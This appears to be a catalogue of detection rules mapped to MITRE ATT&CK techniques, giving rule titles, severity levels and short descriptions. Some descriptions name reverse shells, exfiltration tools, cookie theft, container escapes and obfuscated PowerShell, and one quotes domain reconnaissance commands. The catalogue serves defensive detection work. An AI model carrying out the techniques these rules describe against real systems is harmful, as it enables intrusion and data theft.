attack.t1609	2	Show Rules (2) Potential Remote Command Execution In Pod Container - Level: medium Description: Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command. Potential Sidecar Injection Into Running Deployment - Level: medium Description: Detects attempts to inject a sidecar container into a running deployment. A sidecar container is an additional container within a pod, that resides alongside the main container. One way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a "kubectl patch" operation. By injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.
attack.t1611	2	Show Rules (2) Container With A hostPath Mount Created - Level: low Description: Detects creation of a container with a hostPath mount. A hostPath volume mounts a directory or a file from the node to the container. Attackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node. Privileged Container Deployed - Level: low Description: Detects the creation of a "privileged" container, an action which could be indicative of a threat actor mounting a container breakout attacks. A privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host. Various versions of "privileged" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields
attack.t1588	2	Show Rules (2) Antivirus Relevant File Paths Alerts - Level: high Description: Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Relevant Anti-Virus Signature Keywords In Application Log - Level: high Description: Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.
attack.t1580	2	Show Rules (2) Potential Bucket Enumeration on AWS - Level: low Description: Looks for potential enumeration of AWS buckets via ListBuckets. Potential Backup Enumeration on AWS - Level: medium Description: Detects potential enumeration activity targeting an AWS instance backups
attack.t1589	2	Show Rules (2) Azure AD Account Credential Leaked - Level: high Description: Indicates that the user's valid credentials have been leaked. SSHD Error Message CVE-2018-15473 - Level: medium Description: Detects exploitation attempt using public exploit code for CVE-2018-15473
attack.t1621	2	Show Rules (2) Multifactor Authentication Denied - Level: medium Description: User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account. Multifactor Authentication Interrupted - Level: medium Description: Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.
attack.t1586	2	Show Rules (2) Bitbucket Unauthorized Access To A Resource - Level: critical Description: Detects unauthorized access attempts to a resource. Bitbucket Unauthorized Full Data Export Triggered - Level: critical Description: Detects when full data export is attempted an unauthorized user.
attack.t1074	2	Show Rules (2) Google Full Network Traffic Packet Capture - Level: medium Description: Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. Cisco Stage Data - Level: low Description: Various protocols maybe used to put data on the device for exfil or infil
attack.t1030	2	Show Rules (2) Split A File Into Pieces - Linux - Level: low Description: Detection use of the command "split" to split files into parts and possible transfer. Split A File Into Pieces - Level: low Description: Detection use of the command "split" to split files into parts and possible transfer.
attack.s0508	2	Show Rules (2) Communication To Ngrok Tunneling Service - Linux - Level: high Description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors Communication To Ngrok Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.
attack.t1590	2	Show Rules (2) PUA - Advanced IP/Port Scanner Update Check - Level: medium Description: Detect the update check performed by Advanced IP/Port Scanner utilities. Suspicious DNS Query for IP Lookup Service APIs - Level: medium Description: Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.
attack.t1056	2	Show Rules (2) Suspicious Network Communication With IPFS - Level: low Description: Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages. DNS Query Request To OneLaunch Update Service - Level: low Description: Detects DNS query requests to "update.onelaunch.com". This domain is associated with the OneLaunch adware application. When the OneLaunch application is installed it will attempt to get updates from this domain.
attack.t1221	2	Show Rules (2) Server Side Template Injection Strings - Level: high Description: Detects SSTI attempts sent via GET requests in access logs Suspicious Set Value of MSDT in Registry (CVE-2022-30190) - Level: medium Description: Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.
attack.t1207	2	Show Rules (2) Add or Remove Computer from DC - Level: low Description: Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN. Possible DC Shadow Attack - Level: medium Description: Detects DCShadow via create new SPN
attack.s0039	2	Show Rules (2) Reconnaissance Activity - Level: high Description: Detects activity as "net user administrator /domain" and "net group domain admins /domain" Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.t1039	2	Show Rules (2) Suspicious Access to Sensitive File Extensions - Level: medium Description: Detects known sensitive file extensions accessed on a network share Copy From Or To Admin Share Or Sysvol Folder - Level: medium Description: Detects a copy command or a copy utility execution to or from an Admin share or remote
attack.g0091	2	Show Rules (2) Silence.EDA Detection - Level: critical Description: Detects Silence EmpireDNSAgent as described in the Group-IP report Silence.Downloader V3 - Level: high Description: Detects Silence downloader. These commands are hardcoded into the binary.
attack.t1620	2	Show Rules (2) Potential In-Memory Execution Using Reflection.Assembly - Level: medium Description: Detects usage of "Reflection.Assembly" load functions to dynamically load assemblies in memory PowerShell Base64 Encoded Reflective Assembly Load - Level: high Description: Detects base64 encoded .NET reflective loading of Assembly
attack.t1222	2	Show Rules (2) PowerShell Script Change Permission Via Set-Acl - PsScript - Level: low Description: Detects PowerShell scripts set ACL to of a file or a folder PowerShell Set-Acl On Windows Folder - PsScript - Level: high Description: Detects PowerShell scripts to set the ACL to a file in the Windows folder
attack.t1120	2	Show Rules (2) Powershell Suspicious Win32_PnPEntity - Level: low Description: Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Fsutil Drive Enumeration - Level: low Description: Attackers may leverage fsutil to enumerated connected drives.
attack.t1185	2	Show Rules (2) Potential Data Stealing Via Chromium Headless Debugging - Level: high Description: Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control Browser Started with Remote Debugging - Level: medium Description: Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks
attack.s0108	2	Show Rules (2) Firewall Disabled via Netsh.EXE - Level: medium Description: Detects netsh commands that turns off the Windows firewall Potential Persistence Via Netsh Helper DLL - Level: medium Description: Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.
attack.t1595	2	Show Rules (2) PUA - PingCastle Execution - Level: medium Description: Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level. PUA - PingCastle Execution From Potentially Suspicious Parent - Level: high Description: Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.
attack.t1539	2	Show Rules (2) SQLite Chromium Profile Data DB Access - Level: high Description: Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing. SQLite Firefox Profile Data DB Access - Level: high Description: Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.
attack.t1608	2	Show Rules (2) Suspicious Download from Office Domain - Level: high Description: Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents HybridConnectionManager Service Installation - Registry - Level: high Description: Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function.
attack.t1006	2	Show Rules (2) Potential Defense Evasion Via Raw Disk Access By Uncommon Tools - Level: low Description: Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts Use of Debugfs to Access a Raw Disk - Level: medium Description: Detects access to a raw disk on a host to evade detection by security products.
attack.g0044	2	Show Rules (2) Winnti Malware HK University Campaign - Level: critical Description: Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities Winnti Pipemon Characteristics - Level: critical Description: Detects specific process characteristics of Winnti Pipemon malware reported by ESET
attack.g0125	2	Show Rules (2) HAFNIUM Exchange Exploitation Activity - Level: critical Description: Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers Exchange Exploitation Used by HAFNIUM - Level: high Description: Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity
attack.t1499	2	Show Rules (2) CVE-2024-49113 Exploitation Attempt - LDAP Nightmare - Level: high Description: Detects exploitation attempt of CVE-2024-49113 known as LDAP Nightmare, based on "Application Error" log where the faulting application is "lsass.exe" and the faulting module is "WLDAP32.dll". Multiple Modsecurity Blocks - Level: medium Description: Detects multiple blocks by the mod_security module (Web Application Firewall)
attack.s0003	1	Show Rules (1) Edit of .bash_profile and .bashrc - Level: medium Description: Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.
attack.g0016	1	Show Rules (1) APT29 - Level: high Description: This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.
attack.s0160	1	Show Rules (1) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code
attack.g0075	1	Show Rules (1) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code
attack.g0096	1	Show Rules (1) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code
attack.g0009	1	Show Rules (1) Hurricane Panda Activity - Level: high Description: Detects Hurricane Panda Activity
attack.g0092	1	Show Rules (1) TA505 Dropper Load Pattern - Level: critical Description: Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents
attack.t1086	1	Show Rules (1) PowerShell Execution - Level: medium Description: Detects execution of PowerShell
attack.t1525	1	Show Rules (1) AWS ECS Task Definition That Queries The Credential Endpoint - Level: medium Description: Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.
attack.t1578	1	Show Rules (1) Azure Active Directory Hybrid Health AD FS New Server - Level: medium Description: This detection uses azureactivity logs (Administrative category) to identify the creation or update of a server instance in an Azure AD Hybrid health AD FS service. A threat actor can create a new AD Health ADFS service and create a fake server instance to spoof AD FS signing logs. There is no need to compromise an on-prem AD FS server. This can be done programmatically via HTTP requests to Azure.
attack.t1484	1	Show Rules (1) Changes to Device Registration Policy - Level: high Description: Monitor and alert for changes to the device registration policy.
attack.t1606	1	Show Rules (1) SAML Token Issuer Anomaly - Level: high Description: Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns
attack.t1199	1	Show Rules (1) Microsoft 365 - User Restricted from Sending Email - Level: medium Description: Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.
attack.t1014	1	Show Rules (1) Triple Cross eBPF Rootkit Install Commands - Level: high Description: Detects default install commands of the Triple Cross eBPF rootkit based on the "deployer.sh" script
attack.s0482	1	Show Rules (1) Payload Decoded and Decrypted via Built-in Utilities - Level: medium Description: Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.
attack.s0402	1	Show Rules (1) Payload Decoded and Decrypted via Built-in Utilities - Level: medium Description: Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.
attack.t1495	1	Show Rules (1) Cisco Denial of Service - Level: medium Description: Detect a system being shutdown or put into different boot mode
attack.t1505	1	Show Rules (1) Cisco Modify Configuration - Level: medium Description: Modifications to a config that will serve an adversary's impacts or persistence
attack.s0154	1	Show Rules (1) Default Cobalt Strike Certificate - Level: high Description: Detects the presence of default Cobalt Strike certificate in the HTTPS traffic
attack.t1568	1	Show Rules (1) Download from Suspicious Dyndns Hosts - Level: medium Description: Detects download of certain file types from hosts with dynamic DNS names (selected list)
attack.t1091	1	Show Rules (1) External Disk Drive Or USB Storage Device Was Recognized By The System - Level: low Description: Detects external disk drives or plugged-in USB devices.
attack.t1010	1	Show Rules (1) SCM Database Handle Failure - Level: medium Description: Detects non-system users failing to get a handle of the SCM database.
attack.s0195	1	Show Rules (1) Potential Secure Deletion with SDelete - Level: medium Description: Detects files that have extensions commonly seen while SDelete is used to wipe files.
attack.t1195	1	Show Rules (1) Octopus Scanner Malware - Level: high Description: Detects Octopus Scanner Malware.
attack.s0363	1	Show Rules (1) Silence.EDA Detection - Level: critical Description: Detects Silence EmpireDNSAgent as described in the Group-IP report
attack.g0080	1	Show Rules (1) CMSTP Execution Process Access - Level: high Description: Detects various indicators of Microsoft Connection Manager Profile Installer execution
attack.s0106	1	Show Rules (1) HackTool - CrackMapExec Execution Patterns - Level: high Description: Detects various execution patterns of the CrackMapExec pentesting framework
attack.s0040	1	Show Rules (1) HackTool - Htran/NATBypass Execution - Level: high Description: Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)
attack.g0022	1	Show Rules (1) HackTool - Default PowerSploit/Empire Scheduled Task Creation - Level: high Description: Detects the creation of a schtask via PowerSploit or Empire Default Configuration.
attack.g0060	1	Show Rules (1) HackTool - Default PowerSploit/Empire Scheduled Task Creation - Level: high Description: Detects the creation of a schtask via PowerSploit or Empire Default Configuration.
attack.s0246	1	Show Rules (1) New Firewall Rule Added Via Netsh.EXE - Level: medium Description: Detects the addition of a new rule to the Windows firewall via netsh
attack.t1104	1	Show Rules (1) PowerShell DownloadFile - Level: high Description: Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line
attack.t1622	1	Show Rules (1) PUA - Process Hacker Execution - Level: medium Description: Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.
attack.s0592	1	Show Rules (1) Renamed Remote Utilities RAT (RURAT) Execution - Level: medium Description: Detects execution of renamed Remote Utilities (RURAT) via Product PE header field
attack.g0047	1	Show Rules (1) Suspicious UltraVNC Execution - Level: high Description: Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)
attack.t1125	1	Show Rules (1) Suspicious Camera and Microphone Access - Level: high Description: Detects Processes accessing the camera and microphone from suspicious folder
attack.s0412	1	Show Rules (1) ZxShell Malware - Level: critical Description: Detects a ZxShell start by the called and well-known function name
attack.g0001	1	Show Rules (1) ZxShell Malware - Level: critical Description: Detects a ZxShell start by the called and well-known function name
attack.s0013	1	Show Rules (1) Potential PlugX Activity - Level: high Description: Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location
attack.g0064	1	Show Rules (1) StoneDrill Service Install - Level: high Description: This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky
attack.g0030	1	Show Rules (1) Elise Backdoor Activity - Level: critical Description: Detects Elise backdoor activity used by APT32
attack.g0050	1	Show Rules (1) Elise Backdoor Activity - Level: critical Description: Detects Elise backdoor activity used by APT32
attack.s0081	1	Show Rules (1) Elise Backdoor Activity - Level: critical Description: Detects Elise backdoor activity used by APT32
attack.g0027	1	Show Rules (1) APT27 - Emissary Panda Activity - Level: critical Description: Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27
attack.g0128	1	Show Rules (1) APT31 Judgement Panda Activity - Level: critical Description: Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report
attack.g0093	1	Show Rules (1) GALLIUM IOCs - Level: high Description: Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.
attack.t1559	1	Show Rules (1) Trickbot Malware Activity - Level: high Description: Detects Trickbot malware process tree pattern in which "rundll32.exe" is a parent of "wermgr.exe"
attack.g0004	1	Show Rules (1) Potential Ke3chang/TidePool Malware Activity - Level: high Description: Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020
attack.s0575	1	Show Rules (1) Potential Conti Ransomware Activity - Level: critical Description: Detects a specific command used by the Conti ransomware group
attack.g0115	1	Show Rules (1) REvil Kaseya Incident Malware Patterns - Level: critical Description: Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)
attack.g0129	1	Show Rules (1) Potential APT Mustang Panda Activity Against Australian Gov - Level: high Description: Detects specific command line execution used by Mustang Panda in a targeted attack against the Australian government as reported by Lab52
attack.s0075	1	Show Rules (1) Remote Registry Management Using Reg Utility - Level: medium Description: Remote registry management using REG utility from non-admin workstation
attack.t1592	1	Show Rules (1) Account Enumeration on AWS - Level: low Description: Detects enumeration of accounts configuration via api call to list different instances and services within a short period of time.
attack.t1619	1	Show Rules (1) Potential Storage Enumeration on AWS - Level: medium Description: Detects potential enumeration activity targeting AWS storage
attack.t1043	1	Show Rules (1) Possible DNS Rebinding - Level: medium Description: Detects DNS-answer with TTL <10.
attack.t1035	1	Show Rules (1) Malicious Service Installations - Level: critical Description: Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.
attack.t1050	1	Show Rules (1) Malicious Service Installations - Level: critical Description: Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.

Top MITRE Sub-Techniques

Sub-Technique	Count	Rule Title
attack.t1059.001	236	Show Rules (236) Alternate PowerShell Hosts - Image - Level: low Description: Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe Suspicious CLR Logs Creation - Level: high Description: Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly. Dnscat Execution - Level: critical Description: Dnscat exfiltration tool execution Suspicious PowerShell Download - Level: medium Description: Detects suspicious PowerShell download command Suspicious PowerShell Invocations - Generic - Level: high Description: Detects suspicious PowerShell invocation command parameters Suspicious PowerShell Invocations - Specific - Level: high Description: Detects suspicious PowerShell invocation command parameters APT29 - Level: high Description: This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks. Invoke-Obfuscation RUNDLL LAUNCHER - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Use Rundll32 - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Base64 Encoded Listing of Shadowcopy - Level: high Description: Detects base64 encoded listing Win32_Shadowcopy Malicious Base64 Encoded Powershell Invoke Cmdlets - Level: high Description: Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets Potential Xor Encoded PowerShell Command - Level: medium Description: Detects usage of "xor" or "bxor" in combination of a "foreach" loop. This pattern is often found in encoded powershell code and commands as a way to avoid detection PowerShell Execution - Level: medium Description: Detects execution of PowerShell AWS EC2 Startup Shell Script Change - Level: high Description: Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up. File Was Not Allowed To Run - Level: medium Description: Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events. Invoke-Obfuscation CLIP+ Launcher - Security - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation STDIN+ Launcher - Security - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - Security - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - Security - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - Security - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - Security - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Security - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - Security - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - Security - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Remote PowerShell Sessions Network Connections (WinRM) - Level: high Description: Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986 Invoke-Obfuscation CLIP+ Launcher - System - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation STDIN+ Launcher - System - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - System - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - System - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation Via Stdin - System - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation RUNDLL LAUNCHER - System - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Use Clip - System - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - System - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - System - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Remote Thread Creation Via PowerShell In Uncommon Target - Level: medium Description: Detects the creation of a remote thread from a Powershell process in an uncommon target process BloodHound Collection Files - Level: high Description: Detects default file names outputted by the BloodHound collection tool SharpHound Malicious PowerShell Scripts - FileCreation - Level: high Description: Detects the creation of known offensive powershell scripts used for exploitation Suspicious Interactive PowerShell as SYSTEM - Level: high Description: Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context PowerShell Core DLL Loaded By Non PowerShell Process - Level: medium Description: Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension. Suspicious WSMAN Provider Image Loads - Level: medium Description: Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution. Potential Remote PowerShell Session Initiated - Level: high Description: Detects a process that initiated a network connection over ports 5985 or 5986 from a non-network service account. This could potentially indicates a remote PowerShell connection. Alternate PowerShell Hosts Pipe - Level: medium Description: Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe New PowerShell Instance Created - Level: informational Description: Detects the execution of PowerShell via the creation of a named pipe starting with PSHost Nslookup PowerShell Download Cradle - Level: medium Description: Detects a powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records. PowerShell Downgrade Attack - PowerShell - Level: medium Description: Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0 PowerShell Called from an Executable Version Mismatch - Level: high Description: Detects PowerShell called from an executable by the version mismatch method Remote PowerShell Session (PS Classic) - Level: low Description: Detects remote PowerShell sessions Renamed Powershell Under Powershell Channel - Level: low Description: Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths. Suspicious PowerShell Download - Level: medium Description: Detects suspicious PowerShell download command Suspicious Non PowerShell WSMAN COM Provider - Level: medium Description: Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application. Alternate PowerShell Hosts - PowerShell Module - Level: medium Description: Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe Bad Opsec Powershell Code Artifacts - Level: critical Description: focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including Cobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads that often undergo minimal changes by attackers due to bad opsec. Malicious PowerShell Scripts - PoshModule - Level: high Description: Detects the execution of known offensive powershell scripts used for exploitation or reconnaissance Invoke-Obfuscation CLIP+ Launcher - PowerShell Module - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below Invoke-Obfuscation STDIN+ Launcher - PowerShell Module - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - PowerShell Module - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell Module - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell Module - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use MSHTA - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Clip - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use Rundll32 - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Remote PowerShell Session (PS Module) - Level: high Description: Detects remote PowerShell sessions Suspicious PowerShell Download - PoshModule - Level: medium Description: Detects suspicious PowerShell download command Suspicious PowerShell Invocations - Generic - PowerShell Module - Level: high Description: Detects suspicious PowerShell invocation command parameters Suspicious PowerShell Invocations - Specific - PowerShell Module - Level: high Description: Detects suspicious PowerShell invocation command parameters PowerShell ADRecon Execution - Level: high Description: Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7 Silence.EDA Detection - Level: critical Description: Detects Silence EmpireDNSAgent as described in the Group-IP report PowerShell Create Local User - Level: medium Description: Detects creation of a local user via PowerShell DSInternals Suspicious PowerShell Cmdlets - ScriptBlock - Level: high Description: Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation. Import PowerShell Modules From Suspicious Directories - Level: medium Description: Detects powershell scripts that import modules from suspicious directories Invoke-Obfuscation CLIP+ Launcher - PowerShell - Level: high Description: Detects Obfuscated use of Clip.exe to execute PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell - Level: high Description: Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \u2014 Invoke-Obfuscation STDIN+ Launcher - Powershell - Level: high Description: Detects Obfuscated use of stdin to execute PowerShell Invoke-Obfuscation VAR+ Launcher - PowerShell - Level: high Description: Detects Obfuscated use of Environment Variables to execute PowerShell Invoke-Obfuscation COMPRESS OBFUSCATION - PowerShell - Level: medium Description: Detects Obfuscated Powershell via COMPRESS OBFUSCATION Invoke-Obfuscation RUNDLL LAUNCHER - PowerShell - Level: medium Description: Detects Obfuscated Powershell via RUNDLL LAUNCHER Invoke-Obfuscation Via Stdin - Powershell - Level: high Description: Detects Obfuscated Powershell via Stdin in Scripts Invoke-Obfuscation Via Use Clip - Powershell - Level: high Description: Detects Obfuscated Powershell via use Clip.exe in Scripts Invoke-Obfuscation Via Use MSHTA - PowerShell - Level: high Description: Detects Obfuscated Powershell via use MSHTA in Scripts Invoke-Obfuscation Via Use Rundll32 - PowerShell - Level: high Description: Detects Obfuscated Powershell via use Rundll32 in Scripts Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell - Level: high Description: Detects Obfuscated Powershell via VAR++ LAUNCHER Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Malicious PowerShell Keywords - Level: medium Description: Detects keywords from well-known PowerShell exploitation frameworks Powershell MsXml COM Object - Level: medium Description: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code Malicious Nishang PowerShell Commandlets - Level: high Description: Detects Commandlet names and arguments from the Nishang exploitation framework NTFS Alternate Data Stream - Level: high Description: Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging. PowerShell Web Access Installation - PsScript - Level: high Description: Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse PowerView PowerShell Cmdlets - ScriptBlock - Level: high Description: Detects Cmdlet names from PowerView of the PowerSploit exploitation framework. PowerShell Credential Prompt - Level: high Description: Detects PowerShell calling a credential prompt PSAsyncShell - Asynchronous TCP Reverse Shell - Level: high Description: Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell PowerShell PSAttack - Level: high Description: Detects the use of PSAttack PowerShell hack tool PowerShell Remote Session Creation - Level: medium Description: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system Change PowerShell Policies to an Insecure Level - PowerShell - Level: medium Description: Detects changing the PowerShell script execution policy to a potentially insecure level using the "Set-ExecutionPolicy" cmdlet. PowerShell ShellCode - Level: high Description: Detects Base64 encoded Shellcode Malicious ShellIntel PowerShell Commandlets - Level: high Description: Detects Commandlet names from ShellIntel exploitation scripts. 